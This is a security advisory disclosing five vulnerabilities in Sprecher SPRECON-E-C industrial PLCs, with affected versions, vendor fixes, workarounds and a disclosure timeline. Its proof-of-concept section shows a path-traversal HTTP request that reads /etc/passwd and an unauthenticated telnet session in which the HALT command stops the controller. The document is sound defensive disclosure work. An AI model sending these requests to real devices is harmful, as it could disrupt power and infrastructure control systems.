Multiple Vulnerabilities in Sprecher Automation SPRECON-E-C, PU-2433

Project Description

The Sprecher PLCs are vulnerable to authenticated path-traversal which enables an attacker to access system files via the web interface. The password of the system, which is stored as MD5 hash, is hashed via JavaScript before it is sent to the device for authentication. Therefore, the hash on the system can be seen as cleartext-password (the hash on the system was verified via path-traversal). A debug interface is available on port 2048 which is accessible without prior authentication. This debug interface enables denial of service attacks and manipulation of the running PLC program. A larger amount of requested connections per second results in a denial of service too.

Vendor description

“Sprecher Automation GmbH offers switchgears and automation solutions for energy, industry and infrastructure processes. Our customers are power utilities, industries, transportation companies, municipal utilities and public institutions.

Company-own developments and cooperations with technology partners lead to a unique product portfolio consisting of traditional electrical technologies as well as high-tech electronics.”


Business recommendation

SEC Consult recommends to immediately patch the systems and follow the hardening guide provided by the vendor (SEC Consult did not have access to the hardening guide in order to review it).

A thorough security review should be performed by security professionals as further security issues might exist within the product.

Vulnerability overview and description

1) Authenticated Path Traversal Vulnerability

The web interface of the Sprecher PLC suffers from a path traversal vulnerability. A user which is authenticated on the web interface, which is intended as read-only interface, can download files with the permissions of the webserver (www-data). Files like “/etc/shadow” are not readable for the webserver.

2) Client-Side Password Hashing

The password hashes which are stored on the system can be directly used to authenticate on the web interface (pass-the-hash) since the password is hashed in the browser of the user during login.

3) Missing Authentication

The PLC exposes a Telnet management service on TCP port 2048. This interface can be used to control the PLC and does not require any authentication.

4) Permanent Denial of Service via Portscan

An aggressive TCP SYN scan on a large amount of ports triggers a denial of service of the PLC service. This results in an persistent DoS of the standby PLC in an active – standby pair. Manual operator intervention is required to restore service availability.

5) Outdated Linux Kernel

An ancient Linux kernel version with a high number of known security weaknesses is used for the PLC base operating system.

Proof of concept

1) Authenticated Path Traversal Vulnerability

Reading “passwd” is possible by triggering the following request:

GET /webserver/cgi-bin/spre.cgi?4_1=../../../../../../../etc/passwd HTTP/1.1
Host: <IP-Address>
Cookie: sid=<SESSION-ID>
Connection: close
Upgrade-Insecure-Requests: 1

The file is directly fetched from the system:


2) Client-Side Password Hashing

The passwords are hashed in JavaScript before they are transmitted to the device. Therefore the hash is as good as the password. The following request shows a login process:

POST /webserver/cgi-bin/spre.cgi HTTP/1.1
Host: <IP-Address>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json
Accept-Language: de
Content-Type: application/x-www-form-urlencoded
If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT
Referer: http://<IP-Address>/Webserver.html?locale=de
Content-Length: 57
Connection: close


3) Missing Authentication

An administrative interface was presented after connecting to port 2048 via Telnet:
$ telnet <IP-Address> 2048

100 OK: Portable IEC 61131-3 RT Scheduler for Linux (RTK) $Revision: 1.17 $
Scheduling mode: application timer/timer-tick preserving
Copyright (c) kirchner SOFT GmbH 1994-2002. All rights reserved.
104 OK: Portable IEC 61131-3 RT Scheduler for Linux (RTK) $Revision: 1.17 $
Scheduling mode: application timer/timer-tick preserving
Copyright (c) kirchner SOFT GmbH 1994-2002. All rights reserved.
HELP, ? .......................... show this help
QUIT, EXIT ....................... quit command session
STOP ............................. stop execution
CONT [TASK|EP] <id> .............. continue execution
STRT ............................. start system
REST ............................. restart system if breaked
HALT ............................. quit scheduler
SHOW [TASKS|SCHED|REVISIONS] ..... show information
SHOW [BREAKPOINTS] ............... show breakpoint list
EXEC <TASK> <id> ................. execute a task
EXEC_MS <ms> [flags] ............. execute code for a specific time
EXEC_CYCLES <no> [flags] ......... execute code for cycles
STEP TASK <id> <INTO|OVER|OUT> ... single step (task)
STEP EP <id> <INTO|OVER|OUT> ..... single step (task of EP)
ADD_BREAKPOINT <bp> .............. add breakpoint
DELETE_BREAKPOINT <bp|ALL> ....... delete breakpoints
ENABLE_BREAKPOINT <bp|ALL> ....... enable breakpoints
DISABLE_BREAKPOINT <bp|ALL> ...... disable breakpoints
READ <variable> .................. read variable as string
READ_LONG <variable> ............. read variable as long
READ_DOUBLE <variable> ........... read variable as double
WRITE <variable> <value> ......... write variable with string const.
WRITE_LONG <variable> <value> .... write variable with long value
WRITE_DOUBLE <variable> <value> .. write variable with double value
GET_LONGNAME <variable> .......... get variable information
GET_TYPENAME <variable> .......... get variable information
CHECK_VAR <variable> ............. check if variable exists
USER name ........................ identify user
PASS pw .......................... authenticate with password
BIN .............................. switch to binary protocol mode

The PLC can be restarted with the “HALT” command (PLC returns after about 30 seconds):

200 OK: shutting down application tasks
201 OK: waiting for application tasks
202 OK: shutting down system
Connection closed by foreign host.

4) Permanent Denial of Service via Portscan

An aggressive portscan triggered a persistent denial of service of the standby PLC in an active – standby setup.

5) Outdated Linux Kernel

By using the path traversal vulnerability (1) the Linux kernel version has been retrieved:

Linux version 2.6.20-sp16 (kd@jeannie) (gcc version 4.4.6 (Buildroot 2011.05))
#1 PREEMPT Mon Feb 29 12:06:28 CET 2016

Vulnerable versions

The following versions are affected by the identified vulnerabilities:

  1. Authenticated Path Traversal Vulnerability
    all versions < 8.49
  2. Client-Side Password Hashing
    all versions < 8.49
  3. Missing Authentication
    all versions
  4. Permanent Denial of Service via Portscan
    all versions
  5. Outdated Linux Kernel
    all versions < 8.49

Vendor contact timeline

2017-09-22: Requesting vendor security contact and encryption keys
2017-09-25: Vendor provides S/MIME certificate for encryption
2017-09-25: Advisory is submitted to the vendor
2017-09-25: Call with vendor contact. Contact states that the vulnerabilities are known and fixed in different newer firmware versions. Contact will provide a list of firmware versions with the fixes.
2017-10-02: Requesting update.
2017-10-02: Vendor states they will provide feedback by the following week.
2017-10-12: SEC Consult sends reminder for requested information.
2017-10-13: Vendor states they will provide missing information until 2017-10-20.
2017-10-20: Vendor requested some more time (2017-11-03) to prepare hardening guide to be linked in advisory.
2017-11-03: Vendor provides affected and fixed versions, workaround information and reference to hardening guideline
2018-01-29: Vendor provides an update regarding the hardening guide document ID. It was changed to from 94.2.915.95 to 94.2.913.50.
2018-01-30: Vendor requested changes for the “passwd” file in the advisory. Removed the vendor-specific user accounts in the PoC.
2018-01-31: Coordinated public release.


  1. Authenticated Path Traversal Vulnerability
    Fixed in version 8.49 (available since 2016-05-13)
  2. Client-Side Password Hashing
    Fixed in version 8.49 (available since 2016-05-13)
  3. Missing Authentication
    see workaround
  4. Permanent Denial of Service via Portscan
    see workaround
  5. Outdated Linux Kernel
    Fixed in version 8.49 (available since 2016-05-13)


1) Authenticated Path Traversal Vulnerability

As a workaround, if a firmware update is not feasible due to operational constraints, the webserver can be deactivated. The webserver is not necessary for operation, as all maintenance can be done via the SPRECON-E service program.

2) Client-Side Password Hashing

see (1)

3) Missing Authentication

Remote debugging of the Software-PLC is possible via the “secure service channel” instead of this Telnet service. The optional Telnet service can be disabled to mitigate this vulnerability. (According to the vendor it is disabled by default.)

See the vendor’s hardening guideline available for all registered customers: (document ID 94.2.913.50).

4) Permanent Denial of Service via Portscan

According to the vendor the denial of service via portscan can be mitigated using the packet filter. See the vendor’s hardening guideline available for all registered customers: (document ID 94.2.913.50).

5) Outdated Linux Kernel

no workaround available

Advisory URL



EOF T.Weber / @2018

Project Details

  • TitleMultiple Vulnerabilities
  • ProductSprecher Automation SPRECON-E-C, PU-2433
  • Vulnerable version<8.49 (most vulnerabilities, see "Vulnerable version" for details)
  • Fixed version8.49 (most vulnerabilities, see "Solution" for details)
  • CVE number-
  • ImpactMedium
  • Homepage
  • Found2017-08-15
  • ByT. Weber, C.A. (Office Vienna) | SEC Consult Vulnerability Lab

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